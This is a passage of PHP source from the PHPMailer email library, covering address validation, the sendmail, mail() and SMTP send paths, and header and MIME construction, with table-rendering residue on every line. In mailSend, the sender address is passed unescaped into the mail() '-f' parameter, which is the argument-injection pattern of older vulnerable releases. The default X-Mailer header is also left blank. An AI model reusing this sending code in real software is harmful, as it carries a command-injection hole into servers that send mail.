echo htmlentities( | |
preg_replace('/[\r\n]+/', '', $str), | |
ENT_QUOTES, | |
'UTF-8' | |
) | |
. "<br>\n"; | |
break; | |
case 'echo': | |
default: | |
//Normalize line breaks | |
$str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str); | |
echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( | |
"\n", | |
"\n \t ", | |
trim($str) | |
) . "\n"; | |
} | |
} | |
public function isHTML($isHtml = true) | |
{ | |
if ($isHtml) { | |
$this->ContentType = 'text/html'; | |
} else { | |
$this->ContentType = 'text/plain'; | |
} | |
} | |
public function isSMTP() | |
{ | |
$this->Mailer = 'smtp'; | |
} | |
public function isMail() | |
{ | |
$this->Mailer = 'mail'; | |
} | |
public function isSendmail() | |
{ | |
$ini_sendmail_path = ini_get('sendmail_path'); | |
if (!stristr($ini_sendmail_path, 'sendmail')) { | |
$this->Sendmail = '/usr/sbin/sendmail'; | |
} else { | |
$this->Sendmail = $ini_sendmail_path; | |
} | |
$this->Mailer = 'sendmail'; | |
} | |
public function isQmail() | |
{ | |
$ini_sendmail_path = ini_get('sendmail_path'); | |
if (!stristr($ini_sendmail_path, 'qmail')) { | |
$this->Sendmail = '/var/qmail/bin/qmail-inject'; | |
} else { | |
$this->Sendmail = $ini_sendmail_path; | |
} | |
$this->Mailer = 'qmail'; | |
} | |
public function addAddress($address, $name = '') | |
{ | |
return $this->addAnAddress('to', $address, $name); | |
} | |
public function addCC($address, $name = '') | |
{ | |
return $this->addAnAddress('cc', $address, $name); | |
} | |
public function addBCC($address, $name = '') | |
{ | |
return $this->addAnAddress('bcc', $address, $name); | |
} | |
public function addReplyTo($address, $name = '') | |
{ | |
return $this->addAnAddress('Reply-To', $address, $name); | |
} | |
protected function addAnAddress($kind, $address, $name = '') | |
{ | |
if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) { | |
$this->setError($this->lang('Invalid recipient array') . ': ' . $kind); | |
$this->edebug($this->lang('Invalid recipient array') . ': ' . $kind); | |
if ($this->exceptions) { | |
throw new phpmailerException('Invalid recipient array: ' . $kind); | |
} | |
return false; | |
} | |
$address = trim($address); | |
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim | |
if (!$this->validateAddress($address)) { | |
$this->setError($this->lang('invalid_address') . ': ' . $address); | |
$this->edebug($this->lang('invalid_address') . ': ' . $address); | |
if ($this->exceptions) { | |
throw new phpmailerException($this->lang('invalid_address') . ': ' . $address); | |
} | |
return false; | |
} | |
if ($kind != 'Reply-To') { | |
if (!isset($this->all_recipients[strtolower($address)])) { | |
array_push($this->$kind, array($address, $name)); | |
$this->all_recipients[strtolower($address)] = true; | |
return true; | |
} | |
} else { | |
if (!array_key_exists(strtolower($address), $this->ReplyTo)) { | |
$this->ReplyTo[strtolower($address)] = array($address, $name); | |
return true; | |
} | |
} | |
return false; | |
} | |
public function setFrom($address, $name = '', $auto = true) | |
{ | |
$address = trim($address); | |
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim | |
if (!$this->validateAddress($address)) { | |
$this->setError($this->lang('invalid_address') . ': ' . $address); | |
$this->edebug($this->lang('invalid_address') . ': ' . $address); | |
if ($this->exceptions) { | |
throw new phpmailerException($this->lang('invalid_address') . ': ' . $address); | |
} | |
return false; | |
} | |
$this->From = $address; | |
$this->FromName = $name; | |
if ($auto) { | |
if (empty($this->Sender)) { | |
$this->Sender = $address; | |
} | |
} | |
return true; | |
} | |
public function getLastMessageID() | |
{ | |
return $this->lastMessageID; | |
} | |
public static function validateAddress($address, $patternselect = 'auto') | |
{ | |
if (!$patternselect or $patternselect == 'auto') { | |
//Check this constant first so it works when extension_loaded() is disabled by safe mode | |
//Constant was added in PHP 5.2.4 | |
if (defined('PCRE_VERSION')) { | |
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 | |
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { | |
$patternselect = 'pcre8'; | |
} else { | |
$patternselect = 'pcre'; | |
} | |
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { | |
//Fall back to older PCRE | |
$patternselect = 'pcre'; | |
} else { | |
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension | |
if (version_compare(PHP_VERSION, '5.2.0') >= 0) { | |
$patternselect = 'php'; | |
} else { | |
$patternselect = 'noregex'; | |
} | |
} | |
} | |
switch ($patternselect) { | |
case 'pcre8': | |
return (boolean)preg_match( | |
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . | |
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . | |
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . | |
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . | |
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . | |
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . | |
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . | |
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . | |
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', | |
$address | |
); | |
case 'pcre': | |
//An older regex that doesn't need a recent PCRE | |
return (boolean)preg_match( | |
'/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . | |
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . | |
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . | |
'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . | |
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . | |
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . | |
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . | |
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . | |
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . | |
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', | |
$address | |
); | |
case 'html5': | |
return (boolean)preg_match( | |
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . | |
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', | |
$address | |
); | |
case 'noregex': | |
return (strlen($address) >= 3 | |
and strpos($address, '@') >= 1 | |
and strpos($address, '@') != strlen($address) - 1); | |
case 'php': | |
default: | |
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); | |
} | |
} | |
public function send() | |
{ | |
try { | |
if (!$this->preSend()) { | |
return false; | |
} | |
return $this->postSend(); | |
} catch (phpmailerException $exc) { | |
$this->mailHeader = ''; | |
$this->setError($exc->getMessage()); | |
if ($this->exceptions) { | |
throw $exc; | |
} | |
return false; | |
} | |
} | |
public function preSend() | |
{ | |
try { | |
$this->mailHeader = ''; | |
if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { | |
throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL); | |
} | |
// Set whether the message is multipart/alternative | |
if (!empty($this->AltBody)) { | |
$this->ContentType = 'multipart/alternative'; | |
} | |
$this->error_count = 0; // reset errors | |
$this->setMessageType(); | |
// Refuse to send an empty message unless we are specifically allowing it | |
if (!$this->AllowEmpty and empty($this->Body)) { | |
throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL); | |
} | |
$this->MIMEHeader = $this->createHeader(); | |
$this->MIMEBody = $this->createBody(); | |
if ($this->Mailer == 'mail') { | |
if (count($this->to) > 0) { | |
$this->mailHeader .= $this->addrAppend('To', $this->to); | |
} else { | |
$this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); | |
} | |
$this->mailHeader .= $this->headerLine( | |
'Subject', | |
$this->encodeHeader($this->secureHeader(trim($this->Subject))) | |
); | |
} | |
// Sign with DKIM if enabled | |
if (!empty($this->DKIM_domain) | |
&& !empty($this->DKIM_private) | |
&& !empty($this->DKIM_selector) | |
&& file_exists($this->DKIM_private)) { | |
$header_dkim = $this->DKIM_Add( | |
$this->MIMEHeader . $this->mailHeader, | |
$this->encodeHeader($this->secureHeader($this->Subject)), | |
$this->MIMEBody | |
); | |
$this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF . | |
str_replace("\r\n", "\n", $header_dkim) . self::CRLF; | |
} | |
return true; | |
} catch (phpmailerException $exc) { | |
$this->setError($exc->getMessage()); | |
if ($this->exceptions) { | |
throw $exc; | |
} | |
return false; | |
} | |
} | |
public function postSend() | |
{ | |
try { | |
// Choose the mailer and send through it | |
switch ($this->Mailer) { | |
case 'sendmail': | |
case 'qmail': | |
return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); | |
case 'mail': | |
return $this->mailSend($this->MIMEHeader, $this->MIMEBody); | |
case 'smtp': | |
return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody); | |
default: | |
$sendMethod = $this->Mailer.'Send'; | |
if (method_exists($this, $sendMethod)) { | |
return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody); | |
} | |
return $this->mailSend($this->MIMEHeader, $this->MIMEBody); | |
} | |
} catch (phpmailerException $exc) { | |
$this->setError($exc->getMessage()); | |
$this->edebug($exc->getMessage()); | |
if ($this->exceptions) { | |
throw $exc; | |
} | |
} | |
return false; | |
} | |
protected function sendmailSend($header, $body) | |
{ | |
if ($this->Sender != '') { | |
if ($this->Mailer == 'qmail') { | |
$sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender)); | |
} else { | |
$sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender)); | |
} | |
} else { | |
if ($this->Mailer == 'qmail') { | |
$sendmail = sprintf('%s', escapeshellcmd($this->Sendmail)); | |
} else { | |
$sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail)); | |
} | |
} | |
if ($this->SingleTo) { | |
foreach ($this->SingleToArray as $toAddr) { | |
if (!@$mail = popen($sendmail, 'w')) { | |
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); | |
} | |
fputs($mail, 'To: ' . $toAddr . "\n"); | |
fputs($mail, $header); | |
fputs($mail, $body); | |
$result = pclose($mail); | |
$this->doCallback( | |
($result == 0), | |
array($toAddr), | |
$this->cc, | |
$this->bcc, | |
$this->Subject, | |
$body, | |
$this->From | |
); | |
if ($result != 0) { | |
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); | |
} | |
} | |
} else { | |
if (!@$mail = popen($sendmail, 'w')) { | |
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); | |
} | |
fputs($mail, $header); | |
fputs($mail, $body); | |
$result = pclose($mail); | |
$this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); | |
if ($result != 0) { | |
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); | |
} | |
} | |
return true; | |
} | |
protected function mailSend($header, $body) | |
{ | |
$toArr = array(); | |
foreach ($this->to as $toaddr) { | |
$toArr[] = $this->addrFormat($toaddr); | |
} | |
$to = implode(', ', $toArr); | |
if (empty($this->Sender)) { | |
$params = ' '; | |
} else { | |
$params = sprintf('-f%s', $this->Sender); | |
} | |
if ($this->Sender != '' and !ini_get('safe_mode')) { | |
$old_from = ini_get('sendmail_from'); | |
ini_set('sendmail_from', $this->Sender); | |
} | |
$result = false; | |
if ($this->SingleTo && count($toArr) > 1) { | |
foreach ($toArr as $toAddr) { | |
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); | |
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); | |
} | |
} else { | |
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); | |
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); | |
} | |
if (isset($old_from)) { | |
ini_set('sendmail_from', $old_from); | |
} | |
if (!$result) { | |
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL); | |
} | |
return true; | |
} | |
public function getSMTPInstance() | |
{ | |
if (!is_object($this->smtp)) { | |
$this->smtp = new SMTP; | |
} | |
return $this->smtp; | |
} | |
protected function smtpSend($header, $body) | |
{ | |
$bad_rcpt = array(); | |
if (!$this->smtpConnect($this->SMTPOptions)) { | |
throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); | |
} | |
if ('' == $this->Sender) { | |
$smtp_from = $this->From; | |
} else { | |
$smtp_from = $this->Sender; | |
} | |
if (!$this->smtp->mail($smtp_from)) { | |
$this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); | |
throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); | |
} | |
foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { | |
foreach ($togroup as $to) { | |
if (!$this->smtp->recipient($to[0])) { | |
$error = $this->smtp->getError(); | |
$bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']); | |
$isSent = false; | |
} else { | |
$isSent = true; | |
} | |
$this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); | |
} | |
} | |
if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) { | |
throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL); | |
} | |
if ($this->SMTPKeepAlive) { | |
$this->smtp->reset(); | |
} else { | |
$this->smtp->quit(); | |
$this->smtp->close(); | |
} | |
if (count($bad_rcpt) > 0) { | |
$errstr = ''; | |
foreach ($bad_rcpt as $bad) { | |
$errstr .= $bad['to'] . ': ' . $bad['error']; | |
} | |
throw new phpmailerException( | |
$this->lang('recipients_failed') . $errstr, | |
self::STOP_CONTINUE | |
); | |
} | |
return true; | |
} | |
public function smtpConnect($options = array()) | |
{ | |
if (is_null($this->smtp)) { | |
$this->smtp = $this->getSMTPInstance(); | |
} | |
if ($this->smtp->connected()) { | |
return true; | |
} | |
$this->smtp->setTimeout($this->Timeout); | |
$this->smtp->setDebugLevel($this->SMTPDebug); | |
$this->smtp->setDebugOutput($this->Debugoutput); | |
$this->smtp->setVerp($this->do_verp); | |
$hosts = explode(';', $this->Host); | |
$lastexception = null; | |
foreach ($hosts as $hostentry) { | |
$hostinfo = array(); | |
if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) { | |
continue; | |
} | |
$prefix = ''; | |
$secure = $this->SMTPSecure; | |
$tls = ($this->SMTPSecure == 'tls'); | |
if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) { | |
$prefix = 'ssl://'; | |
$tls = false; // Can't have SSL and TLS at the same time | |
$secure = 'ssl'; | |
} elseif ($hostinfo[2] == 'tls') { | |
$tls = true; | |
$secure = 'tls'; | |
} | |
$sslext = defined('OPENSSL_ALGO_SHA1'); | |
if ('tls' === $secure or 'ssl' === $secure) { | |
if (!$sslext) { | |
throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL); | |
} | |
} | |
$host = $hostinfo[3]; | |
$port = $this->Port; | |
$tport = (integer)$hostinfo[4]; | |
if ($tport > 0 and $tport < 65536) { | |
$port = $tport; | |
} | |
if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { | |
try { | |
if ($this->Helo) { | |
$hello = $this->Helo; | |
} else { | |
$hello = $this->serverHostname(); | |
} | |
$this->smtp->hello($hello); | |
if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) { | |
$tls = true; | |
} | |
if ($tls) { | |
if (!$this->smtp->startTLS()) { | |
throw new phpmailerException($this->lang('connect_host')); | |
} | |
$this->smtp->hello($hello); | |
} | |
if ($this->SMTPAuth) { | |
if (!$this->smtp->authenticate( | |
$this->Username, | |
$this->Password, | |
$this->AuthType, | |
$this->Realm, | |
$this->Workstation | |
) | |
) { | |
throw new phpmailerException($this->lang('authenticate')); | |
} | |
} | |
return true; | |
} catch (phpmailerException $exc) { | |
$lastexception = $exc; | |
$this->edebug($exc->getMessage()); | |
$this->smtp->quit(); | |
} | |
} | |
} | |
$this->smtp->close(); | |
if ($this->exceptions and !is_null($lastexception)) { | |
throw $lastexception; | |
} | |
return false; | |
} | |
public function smtpClose() | |
{ | |
if ($this->smtp !== null) { | |
if ($this->smtp->connected()) { | |
$this->smtp->quit(); | |
$this->smtp->close(); | |
} | |
} | |
} | |
public function setLanguage($langcode = 'en', $lang_path = '') | |
{ | |
// Define full set of translatable strings in English | |
$PHPMAILER_LANG = array( | |
'authenticate' => 'SMTP Error: Could not authenticate.', | |
'connect_host' => 'SMTP Error: Could not connect to SMTP host.', | |
'data_not_accepted' => 'SMTP Error: data not accepted.', | |
'empty_message' => 'Message body empty', | |
'encoding' => 'Unknown encoding: ', | |
'execute' => 'Could not execute: ', | |
'file_access' => 'Could not access file: ', | |
'file_open' => 'File Error: Could not open file: ', | |
'from_failed' => 'The following From address failed: ', | |
'instantiate' => 'Could not instantiate mail function.', | |
'invalid_address' => 'Invalid address', | |
'mailer_not_supported' => ' mailer is not supported.', | |
'provide_address' => 'You must provide at least one recipient email address.', | |
'recipients_failed' => 'SMTP Error: The following recipients failed: ', | |
'signing' => 'Signing Error: ', | |
'smtp_connect_failed' => 'SMTP connect() failed.', | |
'smtp_error' => 'SMTP server error: ', | |
'variable_set' => 'Cannot set or reset variable: ' | |
); | |
if (empty($lang_path)) { | |
// Calculate an absolute path so it can work if CWD is not here | |
$lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR; | |
} | |
$foundlang = true; | |
$lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php'; | |
if ($langcode != 'en') { // There is no English translation file | |
// Make sure language file path is readable | |
if (!is_readable($lang_file)) { | |
$foundlang = false; | |
} else { | |
$foundlang = include $lang_file; | |
} | |
} | |
$this->language = $PHPMAILER_LANG; | |
return (boolean)$foundlang; // Returns false if language not found | |
} | |
public function getTranslations() | |
{ | |
return $this->language; | |
} | |
public function addrAppend($type, $addr) | |
{ | |
$addresses = array(); | |
foreach ($addr as $address) { | |
$addresses[] = $this->addrFormat($address); | |
} | |
return $type . ': ' . implode(', ', $addresses) . $this->LE; | |
} | |
public function addrFormat($addr) | |
{ | |
if (empty($addr[1])) { // No name provided | |
return $this->secureHeader($addr[0]); | |
} else { | |
return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader( | |
$addr[0] | |
) . '>'; | |
} | |
} | |
public function wrapText($message, $length, $qp_mode = false) | |
{ | |
$soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE; | |
$is_utf8 = (strtolower($this->CharSet) == 'utf-8'); | |
$lelen = strlen($this->LE); | |
$crlflen = strlen(self::CRLF); | |
$message = $this->fixEOL($message); | |
if (substr($message, -$lelen) == $this->LE) { | |
$message = substr($message, 0, -$lelen); | |
} | |
$line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE | |
$message = ''; | |
for ($i = 0; $i < count($line); $i++) { | |
$line_part = explode(' ', $line[$i]); | |
$buf = ''; | |
for ($e = 0; $e < count($line_part); $e++) { | |
$word = $line_part[$e]; | |
if ($qp_mode and (strlen($word) > $length)) { | |
$space_left = $length - strlen($buf) - $crlflen; | |
if ($e != 0) { | |
if ($space_left > 20) { | |
$len = $space_left; | |
if ($is_utf8) { | |
$len = $this->utf8CharBoundary($word, $len); | |
} elseif (substr($word, $len - 1, 1) == '=') { | |
$len--; | |
} elseif (substr($word, $len - 2, 1) == '=') { | |
$len -= 2; | |
} | |
$part = substr($word, 0, $len); | |
$word = substr($word, $len); | |
$buf .= ' ' . $part; | |
$message .= $buf . sprintf('=%s', self::CRLF); | |
} else { | |
$message .= $buf . $soft_break; | |
} | |
$buf = ''; | |
} | |
while (strlen($word) > 0) { | |
if ($length <= 0) { | |
break; | |
} | |
$len = $length; | |
if ($is_utf8) { | |
$len = $this->utf8CharBoundary($word, $len); | |
} elseif (substr($word, $len - 1, 1) == '=') { | |
$len--; | |
} elseif (substr($word, $len - 2, 1) == '=') { | |
$len -= 2; | |
} | |
$part = substr($word, 0, $len); | |
$word = substr($word, $len); | |
if (strlen($word) > 0) { | |
$message .= $part . sprintf('=%s', self::CRLF); | |
} else { | |
$buf = $part; | |
} | |
} | |
} else { | |
$buf_o = $buf; | |
$buf .= ($e == 0) ? $word : (' ' . $word); | |
if (strlen($buf) > $length and $buf_o != '') { | |
$message .= $buf_o . $soft_break; | |
$buf = $word; | |
} | |
} | |
} | |
$message .= $buf . self::CRLF; | |
} | |
return $message; | |
} | |
public function utf8CharBoundary($encodedText, $maxLength) | |
{ | |
$foundSplitPos = false; | |
$lookBack = 3; | |
while (!$foundSplitPos) { | |
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); | |
$encodedCharPos = strpos($lastChunk, '='); | |
if (false !== $encodedCharPos) { | |
// Found start of encoded character byte within $lookBack block. | |
// Check the encoded byte value (the 2 chars after the '=') | |
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); | |
$dec = hexdec($hex); | |
if ($dec < 128) { // Single byte character. | |
// If the encoded char was found at pos 0, it will fit | |
// otherwise reduce maxLength to start of the encoded char | |
$maxLength = ($encodedCharPos == 0) ? $maxLength : | |
$maxLength - ($lookBack - $encodedCharPos); | |
$foundSplitPos = true; | |
} elseif ($dec >= 192) { // First byte of a multi byte character | |
// Reduce maxLength to split at start of character | |
$maxLength = $maxLength - ($lookBack - $encodedCharPos); | |
$foundSplitPos = true; | |
} elseif ($dec < 192) { // Middle byte of a multi byte character, look further back | |
$lookBack += 3; | |
} | |
} else { | |
// No encoded character found | |
$foundSplitPos = true; | |
} | |
} | |
return $maxLength; | |
} | |
public function setWordWrap() | |
{ | |
if ($this->WordWrap < 1) { | |
return; | |
} | |
switch ($this->message_type) { | |
case 'alt': | |
case 'alt_inline': | |
case 'alt_attach': | |
case 'alt_inline_attach': | |
$this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); | |
break; | |
default: | |
$this->Body = $this->wrapText($this->Body, $this->WordWrap); | |
break; | |
} | |
} | |
public function createHeader() | |
{ | |
$result = ''; | |
// Set the boundaries | |
$uniq_id = md5(uniqid(time())); | |
$this->boundary[1] = 'b1_' . $uniq_id; | |
$this->boundary[2] = 'b2_' . $uniq_id; | |
$this->boundary[3] = 'b3_' . $uniq_id; | |
if ($this->MessageDate == '') { | |
$this->MessageDate = self::rfcDate(); | |
} | |
$result .= $this->headerLine('Date', $this->MessageDate); | |
// To be created automatically by mail() | |
if ($this->SingleTo) { | |
if ($this->Mailer != 'mail') { | |
foreach ($this->to as $toaddr) { | |
$this->SingleToArray[] = $this->addrFormat($toaddr); | |
} | |
} | |
} else { | |
if (count($this->to) > 0) { | |
if ($this->Mailer != 'mail') { | |
$result .= $this->addrAppend('To', $this->to); | |
} | |
} elseif (count($this->cc) == 0) { | |
$result .= $this->headerLine('To', 'undisclosed-recipients:;'); | |
} | |
} | |
$result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName))); | |
// sendmail and mail() extract Cc from the header before sending | |
if (count($this->cc) > 0) { | |
$result .= $this->addrAppend('Cc', $this->cc); | |
} | |
// sendmail and mail() extract Bcc from the header before sending | |
if (( | |
$this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail' | |
) | |
and count($this->bcc) > 0 | |
) { | |
$result .= $this->addrAppend('Bcc', $this->bcc); | |
} | |
if (count($this->ReplyTo) > 0) { | |
$result .= $this->addrAppend('Reply-To', $this->ReplyTo); | |
} | |
// mail() sets the subject itself | |
if ($this->Mailer != 'mail') { | |
$result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); | |
} | |
if ($this->MessageID != '') { | |
$this->lastMessageID = $this->MessageID; | |
} else { | |
$this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname()); | |
} | |
$result .= $this->HeaderLine('Message-ID', $this->lastMessageID); | |
$result .= $this->headerLine('X-Priority', $this->Priority); | |
if ($this->XMailer == '') { | |
} else { | |
$myXmailer = trim($this->XMailer); | |
if ($myXmailer) { | |
$result .= $this->headerLine('X-Mailer', $myXmailer); | |
} | |
} | |
if ($this->ConfirmReadingTo != '') { | |
$result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>'); | |
} | |
// Add custom headers | |
for ($index = 0; $index < count($this->CustomHeader); $index++) { | |
$result .= $this->headerLine( | |
trim($this->CustomHeader[$index][0]), | |
$this->encodeHeader(trim($this->CustomHeader[$index][1])) | |
); | |
} | |
if (!$this->sign_key_file) { | |
$result .= $this->headerLine('MIME-Version', '1.0'); | |
$result .= $this->getMailMIME(); | |
} | |
return $result; | |
} | |
public function getMailMIME() | |
{ | |
$result = ''; | |
$ismultipart = true; | |
switch ($this->message_type) { | |
case 'inline': | |
$result .= $this->headerLine('Content-Type', 'multipart/related;'); | |
$result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); | |
break; | |
case 'attach': | |
case 'inline_attach': | |
case 'alt_attach': | |
case 'alt_inline_attach': | |
$result .= $this->headerLine('Content-Type', 'multipart/mixed;'); | |
$result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); | |
break; | |
case 'alt': | |
case 'alt_inline': | |
$result .= $this->headerLine('Content-Type', 'multipart/alternative;'); | |
$result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); | |
break; | |
default: | |
// Catches case 'plain': and case '': | |
$result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); | |
$ismultipart = false; | |
break; | |
} | |
// RFC1341 part 5 says 7bit is assumed if not specified | |
if ($this->Encoding != '7bit') { | |
// RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE | |
if ($ismultipart) { | |
if ($this->Encoding == '8bit') { | |
$result .= $this->headerLine('Content-Transfer-Encoding', '8bit'); | |
} | |
// The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible | |
} else { | |
$result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); | |
} | |
} | |
if ($this->Mailer != 'mail') { | |
$result .= $this->LE; | |
} | |
return $result; | |
} | |
public function getSentMIMEMessage() | |
{ | |
return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody; | |
} | |
public function createBody() | |
{ | |
$body = ''; | |
if ($this->sign_key_file) { | |
$body .= $this->getMailMIME() . $this->LE; | |
} | |
$this->setWordWrap(); | |
$bodyEncoding = $this->Encoding; | |
$bodyCharSet = $this->CharSet; | |
if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) { | |
$bodyEncoding = '7bit'; | |
$bodyCharSet = 'us-ascii'; | |
} | |
$altBodyEncoding = $this->Encoding; | |
$altBodyCharSet = $this->CharSet; | |
if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) { | |
$altBodyEncoding = '7bit'; | |
$altBodyCharSet = 'us-ascii'; | |
} | |
switch ($this->message_type) { | |
case 'inline': | |
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); | |
$body .= $this->encodeString($this->Body, $bodyEncoding); | |
$body .= $this->LE . $this->LE; | |
$body .= $this->attachAll('inline', $this->boundary[1]); | |
break; | |
case 'attach': | |
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); | |
$body .= $this->encodeString($this->Body, $bodyEncoding); | |
$body .= $this->LE . $this->LE; | |
$body .= $this->attachAll('attachment', $this->boundary[1]); | |
break; | |
case 'inline_attach': | |
$body .= $this->textLine('--' . $this->boundary[1]); | |
$body .= $this->headerLine('Content-Type', 'multipart/related;'); | |
